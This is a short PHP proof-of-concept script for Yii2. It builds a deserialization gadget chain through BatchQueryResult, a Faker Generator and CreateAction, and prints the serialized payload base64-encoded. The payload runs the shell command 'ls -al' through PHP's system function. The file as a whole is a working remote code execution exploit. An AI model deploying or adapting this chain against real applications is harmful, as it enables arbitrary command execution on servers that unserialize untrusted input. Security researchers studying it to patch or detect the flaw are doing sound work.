poc.php

<?php
    namespace yii\rest{
        class CreateAction{
            public $checkAccess;
            public $id;
            
            public function __construct(){
                $this->checkAccess = 'system';
                $this->id = 'ls -al';
            }
        }
    }
    namespace Faker{
        use yii\rest\CreateAction;
        
        class Generator{
            protected $formatters;
            
            public function __construct(){
                $this->formatters['close'] = [new CreateAction, 'run'];
            }
        }
    }
    
    namespace yii\db{
        use Faker\Generator;
        
        class BatchQueryResult{
            private $_dataReader;
            
            public function __construct(){
                $this->_dataReader = new Generator;
            }
        }
    }
    namespace{
        echo base64_encode(serialize(new yii\db\BatchQueryResult));
    }
    ?>